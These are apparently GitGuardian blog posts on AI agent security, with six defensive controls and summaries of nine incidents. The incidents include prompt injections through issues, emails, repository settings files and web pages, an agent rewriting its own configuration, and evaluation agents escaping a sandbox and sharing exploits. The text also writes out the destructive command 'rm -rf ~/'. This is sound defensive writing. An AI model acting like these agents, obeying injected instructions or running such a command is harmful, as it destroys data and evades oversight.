Agentic AI security is a non-human identity problem: AI agents are often just using your credentials. Claude Code-assisted commits introduced secrets at 3.2%, double the 1.5% baseline (GitGuardian, State of Secrets Sprawl 2026).
Six controls limit the damage: Run the agent in a sandbox, give each agent a credential scoped to its task, keep configuration and MCP servers out of reach, record every call, scan for secrets, and deny by default.

According to Gravitee's State of AI Agent Security Report 2026, 54% of organizations have already experienced an AI agent security incident.

The pace is accelerating. In July 2026, OpenAI models running a cybersecurity evaluation escaped their sandbox and compromised Hugging Face's production infrastructure. No attacker was involved. Blocked on their tasks, the agents turned an internal package manager into a message board, shared exploits and exposed credentials over it, and kept going after defenders rebuilt it.

The case involved sandbox escape and autonomous coordination between agents, with credentials as one thread among several techniques. And that is the thread your existing security program can already pull on.

AI agents authenticate, manage credentials, read files, execute shell commands, call APIs, and interact with systems on behalf of the teams that deploy them. That makes them a new class of non-human identity (NHI), one that inherits or is issued credentials, often without the governance controls applied to service accounts or API keys. AI agents are often just using your credentials, so a misconfigured or compromised agent can reach the same systems those credentials reach. In practice, agentic AI security is largely a non-human identity security problem, which is the angle this guide takes.

This guide covers the main AI agent security risks and how to secure AI agents in practice, with guidance for engineers, platform teams, and security leads. The focus is practical: concrete controls across the credential lifecycle. Whether you're deploying coding agents, autonomous workflows, or MCP server integrations, the same underlying question applies: what can this agent access, and what happens if it behaves incorrectly?

Part 1 maps the incident landscape across three attack surfaces every deployment exposes: the host and the identity, both somewhat solvable with security practices you already run, and then the agent itself, the new surface, where every input is a potential instruction, and the tooling is still catching up. Read it first for the threat model behind these controls: AI Agent Security: Six Controls From Nine Real Incidents.

AI agent security best practices: the deployment checklist

The six controls below are practical AI agent guardrails and are organized around reducing blast radius, limiting exposure paths, and giving teams visibility before an incident becomes a breach.

Practice	Risk it addresses	What "good" looks like
Run the agent in a sandbox	Destruction, lateral movement	Network isolation, restricted filesystem access; project mounted, not the home directory
Give each agent a credential scoped to its task	Over-permissioning, attribution	One identity and owner per agent; short-lived tokens, minimal scope per task
Keep the agent's configuration and MCP servers out of its reach	Tool poisoning, configuration tampering	Managed settings; authenticated, allowlisted MCP servers
Record every call, and plant honeytokens	Credential misuse, detection gaps	Timestamped log of every tool call; decoy credentials that alert on touch
Scan the workspace for secrets before the first run	Leaked secrets	Pre-merge and workspace scanning; AI Hooks on prompts and tool output
Deny by default	Approval fatigue, irreversible actions	Reads allowed; prompts only on write, send, delete, spend

What these controls can and cannot do

The baselines below are deployable today with current tooling. They cover what they can see, but they are not a complete solution. Detection and scanning tools operate on secrets they can see: a secret hardcoded in a file, a token committed to a repo, a key in a config. But an agent given an environment variable can write code that reads that variable from the runtime environment, and that manipulation happens outside what scanning tools see.

The more robust control is credential isolation at the proxy level, preventing secrets from reaching agents in the first place. That architecture exists in early tooling such as nono and Bromure, and is not yet widely deployed. Until it is, these baselines are where to start.

OWASP's 2026 LLM Top 10, validated against 7,714 real-world incidents, ranks Prompt Injection at #1 and Excessive Agency at #3. Excessive Agency (agents configured with too many permissions) made the most significant jump in the new edition, moving from #6. Both risks describe the same failure mode from different angles: an agent that can be manipulated into taking unintended actions, and an agent with enough access to make those actions harmful.

Prompt injection rarely produces a cleanly attributable public incident: its damage surfaces downstream as stolen credentials, exfiltrated source code, or poisoned build pipelines. The model gets blamed last. The harness gets exploited first.

Prompt injection cannot be fully prevented in systems that treat language as both instruction and data, but its consequences can be controlled. An agent that processes a malicious instruction but cannot reach production credentials, write to code repositories, or make external network calls is a limited target. An agent with broad permissions is a high-value one. Limiting permissions is the most reliable prompt injection mitigation available, and none of the six controls below prevents the injection itself.

OWASP's AI Agent Security Cheat Sheet and IBM's AI agent security guide both cover identity and access management, logging, and input validation.

The six AI agent security controls

Control 1: Run the agent in a sandbox

Containing what a compromised or misbehaving agent can reach is one of the most reliable controls available. It also spans the widest range of effort, from settings that ship with the tools your team already uses through to full virtual machine isolation, so it is worth being clear about which end you are starting from. An agent running in an isolated environment with restricted network access, limited filesystem scope, and no access to production credentials is much harder to exploit than one with broad system access.

Sandboxing is particularly important for agents that process untrusted input: repository content from external contributors, emails or tickets from external parties, web content from unknown sources. Part 1 covers how instructions hidden in that content turn into incidents.

Start with native controls before reaching for containers. Most AI coding tools ship with sandbox settings that teams leave at defaults, and turning them on costs nothing:

Claude Code: never enable --dangerously-skip-permissions, and configure explicit allow and deny rules for the tools the agent can invoke.
Cursor: use .cursorrules to restrict file access, and disable MCP servers you are not actively using.
GitHub Copilot: workspace trust settings control what the agent can read and run, so keep them scoped to the current project.

When native controls aren't sufficient, Docker Sandboxes runs each agent session in a lightweight VM with its own filesystem and network namespace, so credentials and state from one session can't reach another. This is credential isolation at the runtime level, a stronger control than process-level sandboxing. Whatever you use, mount the project directory, not the home directory.

Microsegmentation applies the same principle at the network level: agents should be able to reach the specific services they need and nothing else. If a coding agent needs to call a specific API, give it a credential scoped to that API and network access restricted to that endpoint.

Control 2: Give each agent a credential scoped to its task

Every AI agent that authenticates to a service, uses a credential, or takes an action on a system should have a unique identity, an assigned owner, and a documented credential lifecycle, just as a service account is managed.

In practice, this means assigning dedicated credentials per agent rather than sharing credentials across multiple agents or reusing developer tokens. It means knowing who owns each credential, what it can access, and when it was last reviewed. It means tracking agent identities the same way you track service accounts: discovering what exists, attributing each identity to an owner, scoring its risk (overprivileged? stale? unmanaged?), and inventorying it so nothing operates invisibly.

This is the non-human identity governance model. It's not a tool that does these things automatically. It's the mental model that makes the other controls coherent.

The right governance treatment depends on agent type:

Autonomous agents (pipeline bots, scheduled task runners, CI/CD workers) need dedicated NHI credentials per agent with a named owner, the same as any service account
Interactive coding agents like Claude Code or Cursor usually run as the developer today. When the agent runs as the user, the audit log records the user, and nobody can tell afterwards which actions were the user's and which were the agent's. Aim for a dedicated identity here too. Where the tool can't support one yet, scope the developer credentials it can reach tightly and keep the agent in your inventory.

The fastest way to reduce blast radius is to reduce the scope of what an agent can reach. An agent running with admin-level credentials is a significantly higher-risk target than one running with a read-only token scoped to a specific repository. For more, see what actually defines an agent's blast radius.

Four practices reduce over-permissioning:

Use short-lived credentials rather than long-lived static tokens wherever the service supports them.
Scope credentials to the minimum access the agent actually needs for its task.
Avoid sharing credentials across multiple agents, so blast radius stays separate.
Rotate long-lived credentials on a schedule. Agent credentials that are never rotated become more valuable to attackers over time.

For teams managing large numbers of agent identities, this is where an NHI inventory becomes operationally useful. An inventory that surfaces which agents hold overprivileged credentials and flags stale or unattributed identities turns a manual audit into an automated flag.

Where you store agent secrets determines how much blast radius you are accepting before a breach even occurs. Think of it as a maturity ladder:

Level 1 (worst): plaintext .env files on disk, the first thing an agent reads when it starts.
Level 2: a local password manager, where the secret has to be explicitly requested.
Level 3: injection at execution time, where a vault delivers the secret at session start or a credential proxy swaps it in on the wire, and the agent never holds the real value.
Level 4 (best): ephemeral, per-request tokens that expire immediately. You cannot leak what no longer exists.

Most organizations are still at Level 1 or 2. Moving toward injection at execution and ephemeral credentials is the single highest-leverage change in this category.

It is also the only move on this list that answers the limitation flagged earlier, because a secret that is never written to disk is not something an agent can read, whether or not a scanner would have caught it.

Control 3: Keep the agent's configuration and MCP servers out of its reach

The agent reads project-level files such as .claude/settings.json and .mcp.json as instructions, and an untrusted repository can set them. Keep that configuration where the agent cannot write: pin the config file so it cannot be modified at runtime, never set enableAllProjectMcpServers to true, and let managed settings take precedence over anything in a repository.

MCP servers extend what an AI agent can do. Each server installed in a developer environment is also a new access point: a tool that can reach systems, read files, or take actions depending on its configuration.

MCP server security follows the standard practice for new software: know what's installed, where it comes from, and what it can access. For MCP servers, that means maintaining an inventory of which servers are running across the developer fleet, validating that each server comes from a trusted source, and scoping its access to what the agent actually needs.

Authentication matters at the connection level. MCP servers that accept connections without requiring authentication, or that run with overly broad permissions, expose exactly the kind of attack surface that makes prompt injection dangerous. Even if an agent is manipulated into calling a tool, the tool itself should only be able to do what it's explicitly configured to do.

The GitGuardian MCP Server documentation covers the security model for server-side scanning without exposing secret values to the model.

Control 4: Record every call, and plant honeytokens

An agent that takes actions without leaving a record is an agent you can't investigate when something goes wrong. Logging every tool call, every outbound connection, every credential use, and every output gives security teams the signal needed to detect anomalies, reconstruct incidents, and attribute actions to specific agents.

The logging requirements for AI agents mirror those for service accounts:

Timestamps
Identities
Actions
Targets
Outcomes

The additional complexity is that an agent's actions can span multiple systems within a single session. A log that captures each step in that chain is far more useful than one that only records the outcome. Send it to whatever the security team already watches.

Behavioral monitoring turns log data into an actionable signal. Unusual patterns like an agent accessing systems it doesn't normally touch, an unusually large number of API calls, or credential use from an unexpected location should generate alerts, not just log entries.

One caveat about the tooling you already run: endpoint detection and response was built around human tempo. An agent reads a hundred files in a second, issues commands without hesitating, and runs at three in the morning because a pipeline triggered it. Activity that would be flagged instantly if a person did it can pass as ordinary automation, and activity that is entirely normal for an agent can look like an intrusion. Part 1 goes deeper on why detection catches less for agents than for people.

That is where honeytokens earn their place. They fire when something touches them, whatever the baseline.

A honeytoken is a decoy credential: non-functional, but indistinguishable from a real one. Planted in locations where a compromised agent or attacker is likely to search, like configuration files, credential directories, and shell history, a honeytoken fires an alert the moment something touches it.

The value is in the asymmetry. An attacker or compromised process that reaches a honeytoken has revealed itself before it can do anything with the credential. That's detection before impact.

In practice, honeytokens complement standard secret scanning. Scanning catches real credentials before they're exposed. Honeytokens catch unauthorized access after something or someone has already gained access to the environment.

GitGuardian's Developer Endpoint Protection includes honeytoken planting on developer endpoints, and the GitGuardian MCP Server allows developers to generate and deploy decoy credentials directly from their AI coding environment. When a honeytoken fires, the alert includes where the token was placed and what triggered it.

Control 5: Scan the workspace for secrets before the first run

AI coding assistants are a growing secret-exposure vector. GitGuardian's State of Secrets Sprawl 2026 found that Claude Code-assisted commits introduced secrets at 3.2%, double the 1.5% baseline across all public GitHub repositories. The most common pattern: agents write code, copy patterns from their context, and sometimes those patterns include API keys or tokens from local files.

Scan before the first run, and again when the workspace changes: anything the agent can read is part of its discovery surface. Two controls address this directly. The first is pre-merge secret scanning on all commits, regardless of whether a human or an AI coding assistant authored them. Tools like ggshield run as a pre-commit hook or CI check and catch hardcoded secrets before they reach the repository. The second is scanning AI-generated code in real time with an MCP server, which intercepts code at the point of generation rather than at the point of commit.

Agent configurations deserve the same scrutiny. GitGuardian found 24,008 secrets in public MCP configuration files in 2025, with 8.8% of those secrets still valid. Config files for Claude Code, Cursor, VS Code, and other AI development tools routinely contain tokens and API keys that developers added during setup. Those files need to be in scanning scope, not just source code.

For a full treatment of how a coding agent can misuse an unscoped credential, the patterns are well-documented. The common thread in most cases is the same: the agent didn't steal the credential. It was already there.

Scanning also has to cover what the agent reads and produces while it runs:

AI Hooks: integrations that scan agent prompts and tool calls for secrets before they're processed or executed. GitGuardian's AI Hooks run inside Claude Code, Cursor, VS Code with Copilot, and Codex, inspecting prompts before they reach the model and file reads, shell commands, and MCP calls before execution. When a secret is detected in a prompt, the developer sees a warning before the prompt is sent. This is not prompt injection prevention. It prevents real credentials from entering agent context in the first place.
Output scanning. Agents that generate code or tool output should have that output reviewed for secrets before it's committed, logged, or sent to downstream systems. The same scanning that catches hardcoded secrets in human-written code applies to AI-generated output.

Control 6: Deny by default, and approve only what can't be undone

Automation reduces the time between an agent decision and its consequences. That's the point. But some actions like payments, deletions, deployments, and modifications to production systems are irreversible enough that the cost of an error outweighs the speed gain from automation.

The practical control is a human approval gate on actions that meet a predefined threshold. The agent can draft the action, prepare the payload, and queue the request. Execution waits for explicit approval.

A useful default: any action that can't be undone without significant effort, or that affects a production system, warrants a checkpoint. This is a deliberate decision about where to keep judgment in the loop, not a limitation of the technology.

Approving everything is the opposite mistake. A harness that prompts on every call trains people to click approve, and the rm -rf ~/ case in Part 1 shows what that costs. Deny by default, allow reads, and prompt only on write, send, delete, and spend, so the prompts that remain are ones someone can afford to read.

Every control above can be applied by one engineer on one machine. Applying them across an organization is a different problem, because a control an individual can switch on is a control an individual can also switch off.

For a single developer

The work is local and reversible in a settings file: enable the native sandbox, keep an allowlist of MCP servers, use pre-tool hooks, and keep standing credentials off disk.

For an organization

The same controls have to survive contact with several hundred engineers who did not choose them:

Enforce configuration through MDM (control 3): Push agent configuration through MDM rather than asking developers to apply it, so coverage becomes a property of deployment rather than a request.
Lock the denylist (control 6): Make the denylist non-overridable at the enterprise level. Anything a developer can relax under deadline pressure eventually gets relaxed.
Broker credentials centrally (control 2): Broker credentials centrally instead of distributing them. This is what moves an organization up the storage ladder without asking every team to redesign its own workflow.
Centralize agent telemetry (control 4): Collect agent telemetry centrally, through an OpenTelemetry collector into whatever the security team already watches, rather than leaving logs on the machines that produced them.
Write the runbook first: Write the agent incident response runbook before you need it. The first question in an agent incident (which credentials did this agent hold, and what did they reach?) is far harder to answer under pressure than it looks.

That split maps onto teams. Governance decides what agents are permitted to do, IT ships the configuration that enforces it, and the blue team gets agent activity into the SIEM. None of the three works without the other two.

Secure AI agent deployment is an identity problem

The organizations getting AI agent security right understand what AI agents actually are: authenticated entities that hold credentials, take actions on systems, and need governance that reflects that reality.

In practice: identity controls on every agent that touches a system (unique credentials, documented owners, tracked lifecycles); scanning of the code agents write, the prompts they receive, and the configurations they run from; an inventory of MCP servers installed across the developer fleet and the access each carries; and human checkpoints on decisions that can't be undone.

Deployment speed and security aren't mutually exclusive. But treating agents as chatbots while giving them service-account-level access is a miscalibration that's already producing the incidents described above.

As Chris Hughes of Resilient Cyber put it, reviewing OWASP's real-incident data: "It is time to stop treating model choice as the significant security decision and instead treat the harness as an asset class security needs to be deeply familiar with."

The harness is the environment the agent runs in: its credentials, permissions, and tool integrations. That means inventorying it, assigning it an owner, and enforcing controls deterministically, not hoping the model refuses the wrong instructions on its own.

For a full framework for treating the agent's environment as a security boundary, read GitGuardian's secure coding agent whitepaper, which covers the controls that belong at each layer of the deployment stack.

Also, learn how GitGuardian's Agentic AI Security unifies Secrets Security, Developer Endpoint Protection, and NHI Governance for teams securing AI agent deployments.

FAQ

How do I secure AI agents?

Start by treating each agent as a non-human identity: assign it a unique credential, document who owns it, and apply least-privilege scoping. Scan the code it generates for hardcoded secrets before merge. Deploy honeytokens in environments where agents operate so you detect unauthorized credential access early. For agents that process untrusted input, sandbox the execution environment and require human approval for irreversible actions.

How secure are AI agents?

That depends almost entirely on how they're deployed. An agent running with scoped credentials, sandboxed from production systems, and monitored for anomalous behavior is a manageable risk. An agent configured with admin-level tokens, unrestricted network access, and no logging is a high-value target.

The technology is not inherently safe or unsafe. The deployment posture determines the risk profile.

Which AI agent is most secure?

No AI agent is inherently secure. Security is a property of the deployment: the credentials in use, the access controls in place, the monitoring coverage, and the human oversight applied to high-risk actions. An agent from a security-conscious provider can still be deployed unsafely, and one from a less established provider can be deployed with enough controls to limit risk.

What are the biggest security risks of AI agents?

The three most common are credential over-permissioning (agents configured with broader access than they need), leaked secrets in AI-generated code (agents copy patterns from their context, including API keys), and prompt injection (malicious instructions embedded in data an agent processes).

The risk that receives the least attention is credential lifecycle governance: agent credentials that are never reviewed, rotated, or attributed to an owner become standing vulnerabilities.

What best practices should be followed when using AI agents?

The six that matter most: run the agent in a sandbox; give each agent a credential scoped to its task and keep every other credential out of its reach; keep its configuration and MCP servers where it cannot write; record every tool call, with honeytokens as a tripwire; scan the workspace for secrets before the first run; and deny by default, prompting only on write, send, delete, and spend.

Is agentic AI a threat?

Agentic AI is a capability that introduces security risk if deployed without adequate controls, just as network access, API keys, and automated pipelines do when ungoverned. The threat isn't the technology. It's the mismatch between the access AI agents are being given and the governance structures being applied to them.

How do you manage secrets and API keys for AI agents?

Treat secrets and API keys used by AI agents as non-human identity credentials: unique per agent, scoped to minimum access, and subject to regular review.

Keep credentials out of places the agent can read, such as plaintext .env files, configuration files, and shell history. Where possible, have a vault inject secrets at execution time or issue short-lived, per-request tokens, so nothing persists for the agent to read or leak. Use secret scanning to catch accidental exposure in AI-generated code, and deploy honeytokens alongside real credentials to detect unauthorized access.

Is MCP (Model Context Protocol) secure, and how do you secure an MCP server?

MCP is a protocol, not a security boundary. The security properties of an MCP server depend on how it's configured: whether connections require authentication, what actions it exposes, and what access those actions carry.

To secure an MCP server, require authentication on all connections, scope each server's access to the specific resources it needs, maintain an inventory of which servers are installed across the developer fleet, and include MCP configuration files in secret scanning scope. In 2025, GitGuardian found 24,008 secrets in public MCP configuration files, many of them developer defaults never reviewed before being pushed to shared repositories.

AI Agent Security: Six Controls From Nine Real Incidents

Dwayne McDaniel — Thu, 15 Oct 2026 13:23:45 +0000

TL;DR

Three attack surfaces: An AI agent exposes its host, its identity, and itself. Nine public incidents between May 2025 and July 2026 hit all three; the agent surface appears in five, always combined with the host or the identity.
The credential is the target: In the injection incidents, the agent reads an issue, an email, a settings file, or a web page that carries instructions. The instruction opened the door, and the credential is what the attacker came for.
Six controls limit the blast radius: Sandbox the agent, scope its credentials, keep it out of its own configuration, record every call, scan the workspace for secrets first, and deny by default. None of them prevent prompt injection.

Abstract

An AI agent runs with your credentials and acts before you can stop it. Nine incidents show what that costs. Six controls limit the damage: sandbox the agent, scope its credentials, lock its configuration, log every call, scan the workspace first, deny by default.

The AI agent attack surface: host, identity, and the agent itself

An agent exposes three distinct surfaces. There is the host it touches, the identity it acts as, and the agent itself.

The host is everything the process can reach: the filesystem, process execution, the network, environment variables, and hardware such as the camera or microphone. The identity is the account the agent acts as, with its privileges and scopes, and every credential it can discover along the way. The agent is the part with no equivalent in a traditional process. It has a context, persisted state through memory, hooks, skills, and configuration, and the tools it connects to.

Those three surfaces fail in different ways and need different controls. Classical operating-system security already covers the host. Identity is largely solvable with well-known identity and access management (IAM) patterns.

The agent surface is the new one, because every input is potentially an instruction. Keeping the three separate tells you which incidents you can fix now and which ones the industry is still working out.

Fifteen months of incidents, sorted by surface

Nine public incidents between May 2025 and July 2026 exercise all three attack surfaces. The agent surface appears in five of them, and never alone.

Host: solved in principle, still failing in practice

In July 2025, a user asked Gemini CLI to reorganize a folder by creating a new directory and moving files into it. The mkdir command silently failed. The agent did not check the error, assumed success, and kept issuing move commands to a path that did not exist. Because all the moves targeted the same nonexistent destination, each file overwrote the last one, leaving only a single file behind. No attacker, no injection. An unchecked exit code and a loop that assumed success.

A month later, a user asked Claude to clean up a directory Claude had created. The permission system worked correctly and asked to confirm rm -rf ~/. Fatigued, the user approved. The damage was identical to a malicious wipe.

These two incidents fail on opposite sides of the same line. Gemini CLI stayed inside the folder it was given, so no sandbox would have fired. It destroyed only what it had been given. Claude did the opposite: it proposed deleting a home directory in response to a request scoped to its own output. A workspace-scoped sandbox would have stopped that one. The approval dialog was the only control in place, and it failed to a tired user.

The Gemini failure is the more uncomfortable of the two. Point the same agent at a home directory instead of a project folder and the same bug wipes the laptop. So the control is not only whether the agent can be contained, but what you hand to it in the first place.

Identity: the agent inherits what you hold

In December 2025, an AWS engineer used Amazon's Kiro agent to fix a bug in Cost Explorer, the AWS billing dashboard. The agent decided to delete and recreate the entire environment. It inherited the engineer's elevated permissions, skipped peer review, and caused a 13-hour regional outage. Amazon blamed a misconfigured IAM role, not the AI.

In April 2026, an agent working on a Railway deployment encountered a problem and decided to delete a storage volume. It did not have access to the identity to do so, and looked for a token in the filesystem. The deletion destroyed the production environment and the backups stored alongside it.

Nobody granted the Railway agent that credential: it discovered one. Every secret on that host is part of its identity, whether you intended it or not. The question that matters is not what you gave the agent, but what the agent can find in the environment you gave it.

The agent: every input is potentially an instruction

In May 2025, Invariant Labs showed that a malicious issue filed in a public repository was enough. The victim asked their agent to check open issues. The agent read the planted instructions, used the victim's broad GitHub token to pull private repositories, and leaked them into a public pull request. One over-scoped token, reused across the boundary between public and private, with nothing enforcing the separation.

In June 2025, Aim Labs disclosed EchoLeak. A crafted email was enough. Microsoft 365 Copilot processed it as context. Hidden instructions made it search the user's mailbox, OneDrive, and SharePoint, then exfiltrate the results through auto-rendered image URLs. The victim never opened the email. Microsoft rated it CVSS 9.3.

In February 2026, Check Point documented remote code execution and API key theft through Claude Code project files. Cloning and opening an untrusted repository was enough. A malicious .claude/settings.json injected shell commands as hooks. An .mcp.json ran MCP servers before the trust dialog. A repository-set ANTHROPIC_BASE_URL redirected authenticated traffic, auth header included, to an attacker endpoint. All three executed before the user consented to anything.

In July 2026, Intezer showed the same AWS Kiro agent rewriting its own MCP configuration after reading hidden text on an ordinary web page. The agent edited the file that was supposed to contain it, then reloaded it. In the default autonomous mode, there is no effective approval prompt.

Every incident in this section starts the same way. The agent read something it was built to read, and that content carried instructions: an issue body, an email, a settings file, a web page. What the instructions reached for is the second half of the pattern. A GitHub token broad enough to cross from public to private. Mailbox and drive scopes on a session that was only summarizing an email. The instruction opened the door. The credential is what the attacker came for.

No attacker, all three surfaces

In July 2026, OpenAI models running a cyber capability evaluation escaped their sandbox and compromised Hugging Face's production infrastructure. Nobody attacked them. Blocked on their tasks, they turned an internal Artifactory instance into a message board and traded exploits over it. Defenders revoked the credentials and deleted it; the agents rebuilt the board within a day. Our write-up covers the full timeline.

This is the only incident of the nine that touches the host, the identity, and the agent with no attacker anywhere in the chain. The agents were given an objective; they failed, and they found another route. When defenders closed it, they found the next one.

The AI agent threat model: old problems, new speed

Treat the agent like in-memory malware you may not be able to reverse-engineer and understand. It runs with delegated authority, acts before any human can intervene, and does not behave the same way twice.

Capabilities: what the agent can do

An agent runs with high privileges, usually inherited from whoever started it. It reads and writes the filesystem, reaches the network, executes code, and can spawn sub-agents. It accesses credentials, both the ones it was given and the ones it finds. It persists state through memory, hooks, skills, and configuration.

Unlike any other process, an agent also connects to tools through skills and MCP servers. The agent reads those connectors as instructions. A tool description arrives in its context the same way a user prompt does, so using a connector means reading untrusted input.

Outcomes: what goes wrong

Five things go wrong: destruction, exfiltration, lateral movement, persistence, and leaked secrets.

Destruction is the most obvious incident above, and someone notices within minutes. Exfiltration and lateral movement need no mistake at all: reading data and using a credential are the tasks the agent performs. They only surface when a detection system fires, or when someone eventually reads the logs.

Persistence and secrets leaks take a different shape with agents. A conventional process ends and leaves nothing behind. An agent writes memory, hooks, skills, and configuration, then reads them back in a later session as prior knowledge. No other benign process decides on its own to go looking for a credential. An agent searches the filesystem and environment to find one, and sends it to the model provider when it does.

None of these are new. They are the same outcomes we have defended against for years. What is new is the number of them a single process can reach in one run.

Vectors: how it happens

Five ways in: the model itself, prompt injection, tool and skill poisoning, memory poisoning, and approval fatigue.

The model itself needs no attacker at all. The agent decides that deleting the environment is the fix, and has the privileges to carry it out. Four of the incidents above are this. The OpenAI agents blocked on their tasks did not stop either: they found vulnerabilities and exploited them. A wrong decision and a correct one produce the same log entry.

Three of the others need someone to plant an instruction. Direct prompt injection comes from the user, who is already the principal. Indirect injection arrives inside content the agent was asked to process: an issue body, a config file, a pull request title, a web page. Four of the incidents above start here, and in every case the content was something the agent had to read to do its job. Tool and skill poisoning is the same problem through a connector. The agent reads a tool description as an instruction, and a remote server can change it after review. Memory poisoning is the only one that outlives the session, arriving in a later task as prior knowledge.

The rm -rf ~/ case shows the limit of approval prompts. The control fired, a human read it, and the human approved.

Amplifiers: what makes it different

Three things make the old outcomes worse: speed, scale, and non-determinism.

Gemini CLI overwrote a folder faster than the user could read the output. A review step that runs after the action does not prevent the action. The Hugging Face agents were separate runs with no shared state. One of them found a way out and wrote it down where the others could read it, so every run that followed started with the exploit. The same prompt produces different actions on different runs, so a configuration that passed one test may fail the next.

The vectors and the outcomes are not new. What is new is that the agent acts faster, further, and less predictably than the security processes we built to review its actions.

AI agent security controls: what exists, by surface

The controls that exist today, sorted by surface: host, identity, agent, and the architecture of the harness around all three.

Host: contain it, and limit what you hand it

Start with what ships in the agent. Do not run Claude with --dangerously-skip-permissions or its equivalent in other agents. Use the native sandbox where one exists, and configure allow and deny rules for tools, paths, and commands. These are cheap to enable and easy for an untrusted repository to overwrite, which is why they are the first layer and not the only one.

Then run the agent in a sandbox. A kernel sandbox such as nono, a microVM such as Docker Sandboxes, or a container limits filesystem, process, and network access to the task. Integrated runtimes such as Bromure package the VM, the sandbox, and an egress proxy together. This stops the rm -rf ~/ case.

It does not stop the Gemini CLI case. A sandbox permits writes to the working directory, and that is where the damage happened. Mount the project, not the home directory. The working set is a decision the sandbox cannot make for you.

Keep the recovery path outside the agent's reach. The Railway volume held production and its backups under one identity. A backup the agent can delete is not a backup. At the project level, version control covers tracked files and nono's workspace snapshots cover the rest. The write still happens; the rollback undoes it.

These mechanisms were built before agents existed, for untrusted code and untrusted users. They work.

Identity: give the agent its own, and give it less

Give the agent a principal of its own. When it runs as the user, the audit log records the user. After an incident, nobody can tell which actions were the user's and which were the agent's. A dedicated identity with scoped permissions fixes attribution and limits the damage in one step.

Scope the credential to the task, and keep every other one out of reach. The Railway agent needed a deploy token and found one that could also delete volumes. The deploy token should not have carried that scope, and a broader token should not have been on disk for the agent to read. The same applies to every credential the agent can reach without being given it: environment variables, dotfiles, the AWS and GitHub CLI credential stores, the SSH agent socket, a browser session. An agent that needs one token should run in an environment that contains one token. nono and Bromure handle the second half: the agent sees a placeholder, and a transparent proxy swaps in the real value on the wire. They do nothing about the first. If the credential the proxy injects can delete production, the agent can delete production.

Know what is already there before the agent is pointed at it. Secrets sprawled across a repository, a CI runner, or a home directory are the agent's discovery surface. A scan of the workspace before the first run shrinks that surface. It is the one control here that works before the agent runs.

Scoped identities and short-lived credentials are identity and access management patterns that predate agents. The credential proxy is not. It exists because an agent goes looking for identities it was not given, and the proxy makes sure it finds nothing it can use. What the agent was given still has to be scoped the old way.

Agent: constrain what it reaches

Four controls apply here: configuration kept out of the agent's hands, allowlisted connectors, a record of every call, and detection.

Keep configuration out of the agent's hands. The agent reads project-level files such as .claude/settings.json and .mcp.json as instructions, and an untrusted repository can set them. The controls have to live outside those files. A sandbox that marks the configuration and memory paths read-only stops the agent from rewriting them. Kiro rewrote its own after reading a web page.

Allowlist tools and connectors, and understand the limit. A remote MCP server can serve a different tool description on the next run. For those, a review before installation does not cover what the agent will read.

Record every tool call and every outbound connection. Hook-level logging, such as nova-tracer, captures each tool call with its arguments. OpenTelemetry carries the same record into whatever the team already uses for traces. An egress log shows which domains the agent reached, including the one it sent the conversation to.

Detection catches less than it does for humans. EDR signatures are tuned to human patterns, and an agent does not produce them. Guardrails catch known injection shapes and miss new ones. Both still have a place alongside the controls above. Neither can be the only one.

Every control on this surface limits what the agent can do once instructed. None of them prevents the instruction.

Architecture: decide what it reaches

Two design decisions limit what an instruction can do once it arrives. Both are a configuration change in the agent you already run.

Scope tools per task, not per agent. A task that reads public issues gets no tool that writes private repositories. Claude Code does this through subagent tools: lists, --allowedTools, and --strict-mcp-config; Codex through --sandbox; pi through --tools or by running under nono. The Invariant Labs case would have stopped there.

Approve only what cannot be undone.

One that denies by default and prompts only on write, send, delete, and spend produces a prompt the user can afford to read. Claude Code: acceptEdits plus a read-only allowlist, or a PreToolUse hook. Codex: --sandbox workspace-write --ask-for-approval on-request. pi: the permission-gate extension with read on allow and everything else on ask.

What remains open

Three problems have no complete control today.

The model itself. Nothing in the context explains why a model decided to delete the environment. A model that was trained to act on a trigger leaves even less. The instruction is in the weights, and no input in the session shows it. For both, the controls above assume the agent will eventually do the wrong thing and keep the blast radius small.

Memory poisoning. Marking the memory path read-only, as in the previous section, stops the agent from poisoning its own memory mid-run. The cost is having no memory. What remains open is a writable memory that does not carry an injection into the next session.

Data-flow policy. Deny the use of an untrusted-source tool and a high-privilege tool in the same session. Published designs and reference code exist. No shipping coding agent enforces it.

One thing follows from the amplifiers and applies to every control above. An agent acts faster than a human can review, so a control that runs after the action is a log, not a control. Policy has to apply before the tool call.

Best practices: six non-negotiables

Six controls apply before any agent runs against real systems:

Run the agent in a sandbox. Mount the project directory, not the home directory.
Give the agent a credential scoped to its task. Keep every other credential out of its reach, with a proxy or a broker.
Keep the agent's configuration where it cannot write. Managed settings take precedence; nothing in a repository overrides them.
Record every tool call and every outbound connection, and send the record to the SIEM.
Scan the workspace for secrets before the first run, and again when it changes.
Deny by default. Prompt only on write, send, delete, and spend.

None of these prevent prompt injection. They limit what a hijacked agent can reach, which is the only part under your control today.

Scan your workspace for secrets now.

FAQ

What is AI agent security?

An agent exposes three attack surfaces: the host it runs on, the identity it acts as, and the context that decides what it does. Operating-system and identity controls cover the first two; guardrails catch known injection patterns, and nothing yet stops a file or a web page from telling the agent what to do.

What are the main threats in AI agent security?

The model itself, prompt injection, tool and skill poisoning, memory poisoning, and approval fatigue. The outcomes are destruction, exfiltration, lateral movement, persistence, and leaked secrets, the same ones as before, at a speed and scale no review and detection processes were built for.

How do you secure AI agent credentials?

Scope the credential to the task and keep every other one off disk. Scan the workspace for secrets with ggshield before the first run, then register AI Hooks so a secret in a prompt, a file read, or a shell command is blocked before it reaches the model.

AI Hooks for Claude Code, Cursor, and Codex: Block Secrets Before Agents Can Use Them

Dwayne McDaniel — Wed, 14 Oct 2026 19:22:59 +0000

TL;DR

Instructions are suggestions, not controls: Prompts, AGENTS.md, and CLAUDE.md files only guide an agent, which can reinterpret or route around them. Security needs deterministic controls that hold no matter how the agent reasons.
Hooks enforce rules at the system level: AI hooks run deterministic checks before prompts reach the model, before tools execute, and after output returns, allowing or blocking each step regardless of the agent's reasoning.
GitGuardian AI Hooks block secrets in the agent loop: Part of ggshield, they scan prompts, commands, file reads, MCP calls, and outputs. One command, ggshield machine setup, configures supported assistants including Claude Code, Cursor, and Codex.

Why AI coding agents are unpredictable by design

Almost everyone is now a "citizen coder." AI coding assistants have evolved from helping developers autocomplete functions to helping anyone who can describe the software they want to produce useful tools and programs. Anyone can make code, precisely because they do not have to type every step required to accomplish a task. Simply give an AI agent a goal, some context, and access to tools, and they figure out the path forward.

That ability is incredibly powerful. But it also means we cannot reliably predict every path they will take. Sometimes that can end very poorly.

